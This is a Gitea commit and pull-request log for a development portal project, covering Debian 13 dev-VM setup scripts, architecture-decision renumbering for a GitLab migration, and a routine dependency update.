- **Gitea moves to read-only / archive, not decommissioned** at cutover. Existing references to Gitea PRs (`#213`, `#217`, `#219`, …) in commit messages and ADR bodies stay resolvable as historical artefacts. One VM at idle is a low long-term cost.
- **Signed commits revisit.** ADR-0015 noted "signed commits recommended, revisited at GitLab migration". ADR-0028 makes the recommendation: enable required signed commits on `main` once GitLab is live, paired with GnuPG agent forwarding (already documented in `docs/setup/01-dev-debian-vm-setup.md` §8.5). `apf-portal-bot` (Renovate) gets a dedicated signing key at PR 1.

## Renumbering — what moved and why

Before this PR, ADR-0026 and ADR-0027 used `ADR-0028` as a placeholder link for the Pléiades + Acteurs+ sync ADR. That sync ADR hasn't been drafted yet — the number was reserved.

This PR claims `ADR-0028` for the GitLab migration (the immediately-actionable decision), and shifts the sync placeholder to **ADR-0029**. All 25 link references across ADR-0026 (11) and ADR-0027 (14) update in lockstep — replace_all is safe here because in those files `ADR-0028` consistently meant "the sync ADR".

Content of the sync ADR is unchanged — only the number. When that ADR is eventually drafted as `0029-…md`, it gets the existing content reserved for it in the placeholder text.

## Test plan

- [x] `pnpm exec prettier --check` clean on the touched files.
- [x] All `ADR-0028` references in `0026-…md` / `0027-…md` / `CLAUDE.md` now read `ADR-0029` (grep confirms zero remaining references to the old number in those files).
- [x] The new `0028-…md` self-references (status frontmatter, title, internal anchors) are consistent — no leftover `0029`.
- [ ] **Review focus** — drivers / consequences / migration sequence in the ADR; the "what carries over from ADR-0015" table; the renumbering rationale.

## What's next

Per ADR-0028 §"Migration sequence", post-acceptance:

1. **ADR-0028 acceptance PR** — small status-flip, same pattern as #219 (ADR-0026 + ADR-0027 acceptance).
2. **`mirror-and-bootstrap` PR** — `git push --mirror` Gitea → GitLab; GitLab side groups / projects / branch protection / MR templates / deploy keys / Renovate reconfig. No `.gitlab-ci.yml` yet, Gitea pipelines still gate.
3. **`gitlab-ci-pipeline` PR** — `.gitlab-ci.yml` alongside the existing `.gitea/workflows/ci.yml`. Parallel runs ~1 week for parity. GitLab Runner registered on `vm-gitlab`.
4. **`cutover` PR** — remotes flip across docs, `.gitea/workflows/` + `infra/ci-runners.compose.yml` deleted, Gitea read-only.
5. **`cleanup` PR** — stale references sweep, signed-commit policy finalised on `main`.

In parallel — once the dev VM (#220 / #221 / #222 / #223 / #224) is fully bootstrapped — the paused **ADR-0027 PR 1** (Region / Delegation / Structure Prisma schema + inline seed) and **ADR-0026 PR 1** (Person / User / UserScope schema + provisioner) can ship on Gitea; they have no dependency on the GitLab migration and don't need to wait.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #226
2026-05-26 10:30:19 +02:00
julien 72e1182308 docs(setup): version aliases.zsh + gitconfig.txt under docs/setup/dotfiles (#224)
CI / check (push) Successful in 2m54s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m0s
CI / a11y (push) Successful in 3m55s
CI / perf (push) Successful in 5m43s
Docs site / build (push) Successful in 5m31s
## Summary

Follow-up on [#220](#220). [`80-dotfiles.sh`](docs/setup/scripts/80-dotfiles.sh) was reading `notes/aliases.zsh` and `notes/gitconfig.txt` — but `notes/` is the project lead's personal scratchpad and is gitignored, so a fresh clone on the dev VM has nothing to read:

```
✗ /home/APF/dev-jugautier/Works/apf_portal/notes/aliases.zsh not found.
```

Move both templates to a versioned location and update the script + docs to match.

## What lands

| File | Change |
| --- | --- |
| `docs/setup/dotfiles/aliases.zsh` | **New.** Project-wide zsh aliases (navigation / files / search / git / dev), previously living in `notes/aliases.zsh`. Header explains scope (project-wide, all devs pick it up on next zsh restart) and where per-dev customizations go (private dotfiles repo). |
| `docs/setup/dotfiles/gitconfig.txt` | **New.** Base `~/.gitconfig` template — init / core / aliases / colour. `[user]` block carries placeholder identity (`name = your name` / `email = your.email@example.com`) that the script overwrites at install via `git config --global user.{name,email}`. |
| `docs/setup/scripts/80-dotfiles.sh` | Source paths flipped from `$REPO_ROOT/notes/…` to `$REPO_ROOT/docs/setup/dotfiles/…`. Header doc-comment updated. |
| `docs/setup/01-dev-debian-vm-setup.md` | Step-3 table row and §8.4 (dotfiles repo) reference the new path. The §8.4 wording is also tightened — the script no longer "falls back" anywhere, it has one source of truth. |
| `docs/setup/README.md` | New `dotfiles/` section in the folder index. Step-7 row in the scripts table also reflects the new paths. |

## Why this lives in `docs/setup/dotfiles/` and not `infra/` or a top-level `dotfiles/`

- The directory is **consumed exclusively by [`80-dotfiles.sh`](docs/setup/scripts/80-dotfiles.sh)** — co-locating it under `docs/setup/` keeps the setup family self-contained (one folder to read, one folder to clone).
- The name `dotfiles/` reads correctly for a future per-dev dotfiles repo migration (§8.4) — the templates here become the seed of that repo, and the install script will then check `~/.dotfiles/` first and fall back to `docs/setup/dotfiles/` second.

## Unblock path (if you're stuck mid-bootstrap)

Either pull this PR, or manually create the two files at the **new** location on the VM:

```bash
mkdir -p ~/Works/apf_portal/docs/setup/dotfiles
# paste the aliases.zsh + gitconfig.txt content there
./docs/setup/scripts/80-dotfiles.sh
```

## Test plan

- [ ] On a fresh Trixie VM, `./docs/setup/scripts/80-dotfiles.sh` succeeds: aliases.zsh symlink lands at `~/.oh-my-zsh/custom/aliases.zsh` pointing at `docs/setup/dotfiles/aliases.zsh`, `~/.gitconfig` written with the prompted identity.
- [ ] Re-running the script reports `↪ skip aliases.zsh symlink already correct` (idempotency).
- [ ] `git config --global user.name` returns the prompted value (i.e. placeholder `your name` is overwritten).
- [x] `pnpm exec prettier --check` clean on the touched files.
- [x] `bash -n docs/setup/scripts/80-dotfiles.sh` clean.

## Notes

- `notes/aliases.zsh` and `notes/gitconfig.txt` on existing dev workstations are unaffected — those files live outside the repo (gitignored), nothing here touches them. They can be deleted or kept as personal scratch at the dev's discretion.
- A future PR creates the **private dotfiles repo** (`apf/dotfiles`) and teaches `80-dotfiles.sh` to prefer `~/.dotfiles/` over `docs/setup/dotfiles/` when both exist.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #224
2026-05-24 21:23:24 +02:00
julien 1d11db9f36 docs(setup): drop deprecated apt packages on Debian 13 trixie (#223)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m41s
CI / check (push) Successful in 4m2s
CI / a11y (push) Successful in 3m51s
CI / perf (push) Successful in 5m45s
Docs site / build (push) Successful in 5m41s
## Summary

Follow-up on [#220](#220). [`10-base-packages.sh`](docs/setup/scripts/10-base-packages.sh) fails on a fresh Debian 13 Trixie VM with `E: Impossible de trouver le paquet software-properties-common`. The package is no longer shipped on Trixie — and it was never used by any of our downstream scripts in the first place.

Drop three deprecated / unused packages from the install list. Add an inline comment explaining each kept package's purpose so a drive-by addition doesn't reintroduce the dropped ones.

## What lands

| File | Change |
| --- | --- |
| `docs/setup/scripts/10-base-packages.sh` | Drop `software-properties-common`, `apt-transport-https`, `lsb-release`. Remaining minimal set: `curl wget git ca-certificates gnupg build-essential pkg-config`. Inline comment lists which downstream script consumes each kept package + which three were deliberately removed and why. |
| `docs/setup/01-dev-debian-vm-setup.md` | Step-3 table row for `10-base-packages.sh` updated to match the new package list. |

## Why each removed package wasn't needed

| Package | Why removed |
| --- | --- |
| `software-properties-common` | Drops `add-apt-repository`. We don't use it — [`50-docker.sh`](docs/setup/scripts/50-docker.sh) writes `/etc/apt/sources.list.d/docker.list` manually with the keyring-pinned `signed-by=` form. Also no longer in Trixie. |
| `apt-transport-https` | Transitional package since apt 1.5 (2018) — apt has native HTTPS. Intermittently absent on Trixie. |
| `lsb-release` | Shell scripts read `/etc/os-release` directly (see `50-docker.sh`'s `. /etc/os-release && echo "${VERSION_CODENAME}"`). |

## Unblock path (manual, if you're stuck mid-bootstrap)

The user can either pull this PR and re-run, or shortcut manually:

```bash
sudo apt-get install -y curl wget git ca-certificates gnupg build-essential pkg-config
./docs/setup/scripts/20-zsh.sh   # continue from the next step
```

Scripts are idempotent — re-running `bootstrap.sh` after pulling this PR is also safe.

## Test plan

- [ ] On a fresh Trixie VM, `./docs/setup/scripts/10-base-packages.sh` exits successfully.
- [ ] Verify each downstream script still has the binaries it expects (curl in 40-node.sh, gpg in 50-docker.sh, build-essential in pnpm install, …).
- [x] `pnpm exec prettier --check` clean on the touched files.
- [x] `bash -n docs/setup/scripts/10-base-packages.sh` clean.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #223
2026-05-24 21:02:24 +02:00
julien d99254a280 docs(setup): make fail2ban opt-in in 70-hardening.sh (#222)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m14s
CI / scan (push) Successful in 3m19s
CI / a11y (push) Successful in 3m59s
CI / perf (push) Successful in 5m48s
Docs site / build (push) Successful in 5m57s
## Summary

Follow-up on [#220](#220) / [#221](#221). Makes fail2ban **opt-in** in [`70-hardening.sh`](docs/setup/scripts/70-hardening.sh) instead of installing it unconditionally.

Reasoning: some corp environments already ship brute-force protection at the network layer (ACL / corp firewall / appliance) — fail2ban on the host then becomes redundant and can be the wrong layer to debug from when a rule misfires. The other three hardening steps (UFW enable, sshd lockdown) were already prompt-gated; fail2ban was the odd one out.

## What lands

| File | Change |
| --- | --- |
| `docs/setup/scripts/70-hardening.sh` | fail2ban block restructured into three branches: (1) already running → skip; (2) installed but stopped → prompt to enable+start; (3) not installed → prompt to install+enable+start. Each "no" path logs `↪ skip (user choice)` so re-runs don't repeatedly nag if the dev has already declined. |
| `docs/setup/01-dev-debian-vm-setup.md` | Table row for `70-hardening.sh` clarified — each sub-step's prompt posture is now visible: UFW prompts before enabling, fail2ban prompts before installing, sshd hardening prompts before applying. `unattended-upgrades` is the only one applied unconditionally. |
| `docs/setup/README.md` | Same descriptor adjustment. |

## Test plan

- [ ] On a fresh Debian VM with no fail2ban installed, run `70-hardening.sh`, decline the fail2ban prompt → script continues, fail2ban not installed, no service started.
- [ ] On the same VM, re-run `70-hardening.sh` → the fail2ban branch prompts again (the dev may have changed their mind); declining again produces the same `↪ skip (user choice)` result.
- [ ] On a VM where fail2ban is pre-installed but stopped (rare, but possible if infra rolled it back), the script offers to start it without re-installing.
- [x] `pnpm exec prettier --check` clean on the touched files.
- [x] `bash -n docs/setup/scripts/70-hardening.sh` (syntax check) clean.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #222
2026-05-24 20:04:16 +02:00
julien c77313c693 docs(setup): use ~/.bashrc hand-off instead of chsh for zsh switch (#221)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m50s
CI / scan (push) Successful in 3m11s
CI / a11y (push) Successful in 3m28s
CI / perf (push) Successful in 6m7s
Docs site / build (push) Successful in 4m29s
## Summary

Follow-up fix on [#220](#220). The corp infra locks the default shell at user-provisioning time on the dev VM (`10.100.201.21`) — `chsh` is denied at the PAM level, so the `sudo chsh -s` block in [`20-zsh.sh`](docs/setup/scripts/20-zsh.sh) fails on every fresh VM.

Switch to the `~/.bashrc` exec-zsh hand-off — the same proven pattern used in the legacy [`02-wsl-terminal-setup.md`](docs/setup/02-wsl-terminal-setup.md). UX-identical for the dev, zero infra escalation required.

## What lands

| File | Change |
| --- | --- |
| `docs/setup/scripts/20-zsh.sh` | Drop the `sudo chsh -s` block. Append a guarded `exec zsh -l` block to `~/.bashrc` instead, marked with a managed-by comment for idempotency on re-runs. |
| `docs/setup/01-dev-debian-vm-setup.md` | Table row for `20-zsh.sh` updated — "set as default shell" → "`~/.bashrc` (exec zsh on interactive shells — `chsh` is blocked on the corp VM)". |
| `docs/setup/README.md` | Same descriptor adjustment. |

## The hand-off block

```bash
# Managed by docs/setup/scripts/20-zsh.sh — apf-portal zsh hand-off.
# Hand off to zsh on interactive shells. The `case $-` guard avoids
# breaking non-interactive bash (scp, rsync, cron, …), and the
# ZSH_VERSION check prevents an infinite re-exec loop.
case $- in
  *i*)
    if command -v zsh >/dev/null 2>&1 && [ -z "${ZSH_VERSION-}" ]; then
      exec zsh -l
    fi
    ;;
esac
```

Two safety nets in the block:

- **`case $- in *i*)`** — only runs the hand-off when the shell flag set contains `i` (interactive). `scp` / `rsync` / non-interactive ssh executions go through bash and are not hijacked.
- **`[ -z "${ZSH_VERSION-}" ]`** — `ZSH_VERSION` is set by zsh itself; if it's already set we're already in zsh and a re-exec would loop.

## Test plan

- [ ] On the dev VM, run `20-zsh.sh` on a fresh state: bash, no existing `~/.bashrc` zsh hand-off → script exits without `chsh` error, `~/.bashrc` gets the block appended, `exit` + reconnect lands in zsh.
- [ ] Re-run `20-zsh.sh` → reports `↪ skip zsh hand-off already in ~/.bashrc` (idempotency).
- [ ] `scp some-file vm-dev:/tmp/` from the workstation still works (non-interactive bash not hijacked).
- [x] `pnpm exec prettier --check` clean on the touched markdown files.
- [x] `bash -n docs/setup/scripts/20-zsh.sh` (syntax check) clean.

## Why not amend #220

#220 has already merged. Squash-merge collapsed it to `8a04540` on main; a force-push to amend would rewrite that commit and break anyone who's pulled it. The fix lands as a separate commit on the same setup-doc family.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #221
2026-05-24 19:55:32 +02:00
julien 8a04540410 docs(setup): add Debian 13 dev-VM setup procedure + scripts + devcontainer (#220)
CI / check (push) Successful in 3m7s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m3s
CI / a11y (push) Successful in 3m41s
CI / perf (push) Successful in 5m24s
Docs site / build (push) Successful in 5m8s
## Summary

Adds a full Debian 13 dev-VM setup procedure ([docs/setup/01-dev-debian-vm-setup.md](docs/setup/01-dev-debian-vm-setup.md)) + 10 modular idempotent setup scripts + a systemd template + a `.devcontainer/` spec, in preparation for the new dev VM (`10.100.201.21`) replacing the WSL-based workflow. Both IDE flows (VSCode Remote-SSH + Devcontainer) and both Node toolchains (nvm on host + devcontainer image) are available — devs pick per task.

Adjacent context (does not ship here, planned follow-up):

- **Preview infra on the GitLab VM (`10.100.201.10`)** — same `dev.compose.yml`, deployed by CI on `main`. Doc placeholder in §8.6.
- **GitLab Runner migration** (act_runner Gitea → GitLab Runner Docker executor) — bundled with the Gitea → GitLab cutover.
- **Private dotfiles repo** (`apf/dotfiles`) — `~/.zshrc`, `~/.p10k.zsh`, `~/.tmux.conf` versioned. `80-dotfiles.sh` is already structured to fall back to a `~/.dotfiles/` clone when present.

No application-code changes. No CI gate impact (doc + scripts + devcontainer spec only).

## What lands

| Path | Change |
| --- | --- |
| `docs/setup/01-dev-debian-vm-setup.md` | **New.** Step-by-step doc: workstation prep (SSH agent + VSCode Remote-SSH + fonts), bootstrap orchestrator, per-script effects, project clone, infra boot, IDE flow A / B / C, apf-ai-service .NET appendix, troubleshooting. |
| `docs/setup/02-wsl-terminal-setup.md` | Renamed from `01-wsl-terminal-setup.md`. No content change. |
| `docs/setup/03-dev-web-stack.md` | Renamed from `02-dev-web-stack.md`. No content change. |
| `docs/setup/04-angular-nx-monorepo.md` | Renamed from `03-angular-nx-monorepo.md`. No content change. |
| `docs/setup/README.md` | **New.** Index of the `docs/setup/` folder. |
| `docs/setup/scripts/lib.sh` | **New.** Shared helpers — colour-coded log/ok/warn/err/skip, `apt_install` skipping already-installed, `ensure_line` idempotent append, `confirm` prompt. |
| `docs/setup/scripts/bootstrap.sh` | **New.** Orchestrator running scripts 10..80 in order with confirmation prompts. |
| `docs/setup/scripts/10-base-packages.sh` | **New.** apt update + base packages (curl, wget, git, build-essential, …). |
| `docs/setup/scripts/20-zsh.sh` | **New.** zsh + Oh My Zsh (RUNZSH=no, no shell hijack) + Powerlevel10k + `zsh-autosuggestions` + `zsh-syntax-highlighting`. Patches `~/.zshrc` (theme, plugins, fzf hook). |
| `docs/setup/scripts/30-cli-tools.sh` | **New.** `bat eza fd-find ripgrep fzf zoxide ncdu keychain` + `jq yq httpie make tree htop tmux direnv dnsutils unzip rsync`. Symlinks Debian-renamed binaries (`batcat`→`bat`, `fdfind`→`fd`) into `~/.local/bin` so notes/aliases.zsh works as-is. |
| `docs/setup/scripts/40-node.sh` | **New.** nvm v0.40.1 + Node from `.nvmrc` (currently 24) + corepack enable + pnpm warmed from `package.json#packageManager`. |
| `docs/setup/scripts/50-docker.sh` | **New.** Docker CE + compose plugin from docker.com apt repo, user added to `docker` group, `docker.service` enabled at boot. Pinned GPG key + repo line for Debian Trixie. |
| `docs/setup/scripts/60-tuning.sh` | **New.** `fs.inotify.max_user_watches=524288` (Vite/Nx watch ceiling), optional 4 GB swapfile, optional hostname rename (only prompts on generic hostnames like `debian13`). |
| `docs/setup/scripts/70-hardening.sh` | **New.** Best-effort UFW (`allow OpenSSH` only) + unattended-upgrades on security channel + fail2ban + sshd drop-in (`PermitRootLogin no`, `PasswordAuthentication no`, `AllowAgentForwarding yes`). Probes before applying, validates `sshd -t` before reloading, skips cleanly if infra already locked the box down. |
| `docs/setup/scripts/80-dotfiles.sh` | **New.** Symlinks `notes/aliases.zsh` → `~/.oh-my-zsh/custom/aliases.zsh` (backs up an existing target). Copies `notes/gitconfig.txt` to `~/.gitconfig`, prompts for identity, applies via `git config --global user.name/email`. |
| `docs/setup/systemd/apf-portal-infra@.service` | **New.** Template systemd unit auto-starting `./infra/local/dev.sh up` at boot. Install: `enable apf-portal-infra@$USER.service`. |
| `.devcontainer/devcontainer.json` | **New.** VSCode Dev Container spec on `mcr.microsoft.com/devcontainers/typescript-node:1-24-bookworm`. `docker-outside-of-docker` feature + `--network=apf-portal-dev` so DNS to `postgres`/`redis`/`otel-collector` works. `initializeCommand` fails fast if `dev.sh up` hasn't been run yet. Forwarded ports labelled. Six dev extensions pre-installed. |
| `.devcontainer/post-create.sh` | **New.** `corepack enable && pnpm install --frozen-lockfile`. |
| `CLAUDE.md` | "Environment conventions" rewritten: documents the two envs (`local` / `development`) + hybrid sub-mode + the two IDE flows (Remote-SSH / Devcontainer), points at the new VM setup doc and the legacy WSL doc. |

## Key choices

- **Idempotent scripts, individually runnable.** Each script probes before doing anything (apt package already installed? plugin already cloned? UFW already active? sshd drop-in already present?). Bootstrap is the orchestrator; each script also runs standalone. Re-running after a partial setup is safe and reports `↪ skip` for the no-op cases.
- **No private key on the VM — SSH agent forwarding instead.** `~/.ssh/config` on the workstation carries `ForwardAgent yes`; the VM never holds long-lived secrets. Same future pattern for GPG signing (covered in §8.5 as appendix). `keychain` is installed by `30-cli-tools.sh` as a fallback for scenarios where agent forwarding is not available (CI runners, scripts).
- **Hardening is "best-effort, probe-first".** Some infra teams ship pre-hardened VMs; this script doesn't fight that. UFW already active? Print rules and skip. unattended-upgrades already on? Skip. SSH already locked down? Skip. Each section validates before reloading so a misconfig can't take SSH offline.
- **Devcontainer assumes infra-on-host.** The container runs on the VM but talks to postgres / redis / otel **on the same VM's host docker daemon** through the shared `apf-portal-dev` Compose network. `initializeCommand` fails fast with a clear message if `./infra/local/dev.sh up` hasn't been run yet — better than puzzling `ECONNREFUSED` errors at runtime.
- **`60-tuning.sh` raises inotify to 524288.** Default Debian limit is 8K; Vite/Nx in this monorepo blow past that. The setting is persisted in `/etc/sysctl.d/99-apf-portal.conf` so it survives reboot.
- **Hybrid mode (workstation IDE + VM infra) is a documented sub-mode.** SSH `LocalForward` directives on 5432/6379/4317/4318 expose the VM's infra services as `localhost:*` on the workstation. Latency cost: 5-15 ms per query, fine for daily work; for long-running flows, wrap in `tmux` or use `autossh`.

## Notes for the reviewer

- **Renaming the existing setup docs (01→02, 02→03, 03→04) is the only "destructive" change.** `git log --follow` still works because of `git mv`. Diff shows up as renames, not delete-and-add.
- **The brief asked for `bat eza fd-find ripgrep fzf zoxide docker keychain ncdu git`.** `git` is installed by `10-base-packages.sh` (every other script needs it). Everything else lives in `30-cli-tools.sh` + `50-docker.sh`. The "fullstack-dev extras" (`jq yq httpie make tree htop tmux direnv dnsutils unzip rsync`) are additions I proposed in the lock-in question and that you greenlit (full scope) — easy to trim if any of them turn out to be unwanted.
- **Both Node toolchains in parallel** — nvm on the VM (via `40-node.sh`) **and** devcontainer in the repo. Devs can use either; both read the same `.nvmrc` + `packageManager` pin so the version stays consistent.
- **The systemd unit is a TEMPLATE** (`apf-portal-infra@.service`) — install once, enable per-user (`enable apf-portal-infra@$USER.service`). This is the right shape for a shared VM with multiple devs eventually, even if today only one user uses it.
- **No PR-body Co-Authored-By trailer, no Generated-with-Claude footer**, per the project rule.

## Test plan

Manual (no automated test exists for this kind of setup work):

- [ ] On a fresh Debian 13 VM: `git clone …`, `./docs/setup/scripts/bootstrap.sh`, answer prompts, end up with zsh + Powerlevel10k + all the requested CLI tools + Node 24 + pnpm 10.33.4 + Docker on PATH.
- [ ] `./infra/local/dev.sh up` boots successfully against the VM's local docker daemon.
- [ ] `pnpm install` + `pnpm exec nx run-many -t lint test --parallel=3` passes on the VM.
- [ ] VSCode Remote-SSH from a workstation: connect, open `~/Works/apf_portal`, run `pnpm exec nx serve portal-bff`, confirm reaches `postgres:5432`.
- [ ] VSCode Dev Containers from the same workstation: `Reopen in Container`, image builds, `postCreateCommand` runs `pnpm install`, dev server reaches postgres through the `apf-portal-dev` network.
- [ ] Hybrid mode: SSH tunnel from workstation, `pnpm exec nx serve portal-bff` locally, confirm postgres reachable via `localhost:5432`.
- [x] `pnpm exec prettier --check` clean on the touched markdown files.
- [x] Scripts pass `bash -n` (syntax check) — verified during writing.

## What's next

- Validate by walking through this doc on the actual VM `10.100.201.21`. Any friction surfaced becomes a follow-up PR (`docs(setup): ...`).
- Once the dev VM is operational, return to **ADR-0027 Implementation PR 1** (Region / Delegation / Structure Prisma schema + inline reference-data migration) — paused since the start of this PR.
- Set up the **private dotfiles repo** (`apf/dotfiles`) as a small follow-up, then teach `80-dotfiles.sh` to prefer the dotfiles repo over `notes/`.
- When migrating to GitLab: PR pair — (a) `git remote set-url` doc updates here, (b) `infra/gitlab-runners/` replacing `infra/ci-runners.compose.yml`.
- Future: deploy the **shared preview infra** on `vm-gitlab` (10.100.201.10) — CI-driven, separate PR.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #220
2026-05-24 18:40:07 +02:00
julien 0d8b3712fb docs(adr): accept ADR-0026 + ADR-0027 (#219)
CI / check (push) Successful in 3m9s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m57s
CI / a11y (push) Successful in 3m20s
CI / perf (push) Successful in 4m48s
Docs site / build (push) Successful in 5m0s
## Summary

Promotes [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) and [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md) from `proposed` to `accepted`. Both shipped as `proposed` in #217 after the cascade / acteurs_plus source-of-truth audit reshaped the org-hierarchy model. No open questions left on either.

No code changes — same shape as #205 (ADR-0025 acceptance).

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0026-person-user-portal-data-model.md` | Frontmatter `status: proposed → accepted`. |
| `docs/decisions/0027-portal-side-organisational-hierarchy.md` | Frontmatter `status: proposed → accepted`. |
| `docs/decisions/README.md` | Rows for 0026 and 0027 flip to `accepted`. |
| `CLAUDE.md` | Roll-up bumped to `0001 → 0027 accepted`; two new Architecture bullets ("Portal-side identity model" and "Portal-side organisational hierarchy") added after the ADR-0025 bullet; ADR-0025's bullet adjusted to clarify the scope literal `etablissement:<structure-code>` (with a pointer to ADR-0027 for the `Structure.code` semantics); the `@RequireScope` Prisma-resolver roadmap entry now references both ADRs as accepted with the two-schema-then-resolver phasing. |

## Notes for the reviewer

- **ADR-0025's bullet got a small touch-up, not a rewrite.** The original copy listed scope kinds as `etablissement:<finess>`, which was accurate when ADR-0025 shipped but is now superseded by ADR-0027's `Structure.code` semantics (FINESS for medico-social rows, internal slugs otherwise). The change is `<finess>` → `<structure-code>` + a `see ADR-0027` parenthetical. No actual decision in ADR-0025 changes.
- **Two new Architecture bullets, mirrored on the ADR-0024 / ADR-0025 pair of bullets that precede them in tone + length.** The "Portal-side identity model" bullet calls out the `entraOid`-only v1 dedup and the non-unique `Person.email` (both decisions made during the split rework); the "Portal-side organisational hierarchy" bullet calls out the `Structure.code` round-trip semantics and the deferred-to-ADR-0028 items (`Pole`, `Service`, arbitrary nesting, per-source enrichment, full cascade sync).
- **No code changes**, so no `pnpm ci:check` impact. `pnpm exec prettier --check` clean on the four touched files.

## Test plan

- [x] `pnpm exec prettier --check` — clean on the four touched files.
- [x] Internal links resolve (ADR-0026 ↔ ADR-0027 mutual references, plus the `ADR-0028` dangling marker left intentional for the future sync ADR).
- [ ] **Review focus** — the two new Architecture bullets phrasing; the ADR-0025 bullet's small scope-literal touch-up; CLAUDE.md roll-up wording.

## What's next

Now unblocked — per ADR-0026 §"Phasing" and ADR-0027 §"Phasing":

1. **ADR-0027 Implementation PR 1** — `Region` / `Delegation` / `Structure` Prisma schema + inline reference-data migration (Région Nouvelle-Aquitaine + Délégation 33 + a handful of test-tenant structures) + `Structure.kind` catalogue + drift-gate extension. Independent of (2) at the schema level.
2. **ADR-0026 Implementation PR 1** — `Person` / `User` / `UserScope` Prisma schema + `PersonAndUserProvisioner` called from `SessionEstablisher` + `Person.source` catalogue + drift-gate extension + updated `PrincipalBuilder` populating `Principal.user.{id, personId}` from the real rows. Can ship in parallel with (1).
3. **ADR-0026 Implementation PR 2** — `PrismaScopeResolver` replacing `StubScopeResolver` + `/admin/users/:id/scopes` admin-app screen + `prisma/seed.ts` populating the 19 test personas' `user_scopes` per `notes/test-tenant-role-assignments.md`. Depends on both (1) and (2).
4. **ADR-0028 (proposed)** — Pléiades + Acteurs+ + cascade syncs + facet schemas (Salarié / Élu / Adhérent / Bénévole / Bénéficiaire / PartenaireExterne) + operator-confirmed Person-reconciliation flow + the deferred org-hierarchy extensions (`Pole`, `Service`, per-source enrichment).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #219
2026-05-24 16:58:39 +02:00
APF Portal Bot 7d89591f9a fix(deps): update dependency @grpc/grpc-js to v1.14.4 (#218)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m34s
CI / check (push) Successful in 5m54s
CI / a11y (push) Successful in 2m26s
CI / perf (push) Successful in 6m15s
Docs site / build (push) Successful in 2m56s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@grpc/grpc-js](https://grpc.io/) ([source](https://github.com/grpc/grpc-node)) | dependencies | patch | [`1.14.3` -> `1.14.4`](https://renovatebot.com/diffs/npm/@grpc%2fgrpc-js/1.14.3/1.14.4) |

---

### Release Notes

<details>
<summary>grpc/grpc-node (@&#8203;grpc/grpc-js)</summary>

### [`v1.14.4`](https://github.com/grpc/grpc-node/releases/tag/%40grpc/grpc-js%401.14.4): @&#8203;grpc/grpc-js 1.14.4

[Compare Source](https://github.com/grpc/grpc-node/compare/@grpc/grpc-js@1.14.3...@grpc/grpc-js@1.14.4)

- Fix a bug that could cause servers to crash when handling malformed requests ([advisory GHSA-5375-pq7m-f5r2](https://github.com/grpc/grpc-node/security/advisories/GHSA-5375-pq7m-f5r2))
- Fix a bug that could cause clients and servers to crash when handling malformed compressed messages ([advisory GHSA-99f4-grh7-6pcq](https://github.com/grpc/grpc-node/security/advisories/GHSA-99f4-grh7-6pcq))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #218
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-24 16:24:57 +02:00
julien 30cefc4488 docs(adr): split ADR-0026 + propose ADR-0027 (Structure hierarchy) (#217)
CI / check (push) Successful in 2m53s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m42s
CI / a11y (push) Successful in 1m51s
CI / perf (push) Successful in 3m22s
Docs site / build (push) Successful in 2m31s
## Summary

Splits [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) into two sibling ADRs after a cascade / acteurs_plus source-of-truth audit caught a design break: the first draft pinned `Etablissement.finess` as primary key, but ≥ 30 % of APF's real structure inventory has no FINESS (antennes, dispositifs, entreprises adaptées, mouvement, administratif, siège).

| ADR | Status | Scope |
| --- | --- | --- |
| [ADR-0026](docs/decisions/0026-person-user-portal-data-model.md) — narrowed | `proposed` | `Person` + `User` + `UserScope` only (identity model) |
| [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md) — new | `proposed` | `Region` + `Delegation` + `Structure` (cascade-aligned: `kind` discriminator + nullable FINESS / SIRET / `codePaie`) |
| `ADR-0028` (future) | — | Pléiades + Acteurs+ + cascade syncs + facet schemas (renumbered from the old `ADR-0027` placeholder) |

No code changes — all three artefacts moving in this PR are markdown.

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0026-person-user-portal-data-model.md` | Title trimmed (drop `+ organisational hierarchy`); `Region` / `Delegation` / `Etablissement` schema removed; `Person.email` unique constraint dropped (two distinct humans can share an email — see Lifecycle); Lifecycle rewritten without email-based dedup; `UserScope.value` documented as opaque string referencing ADR-0027 codes; Confirmation drops `Etablissement.kind` bullet; ADR-0027 sync references renumbered to ADR-0028; "What ADR-0026 ships vs adjacent ADRs" rewritten to three columns. |
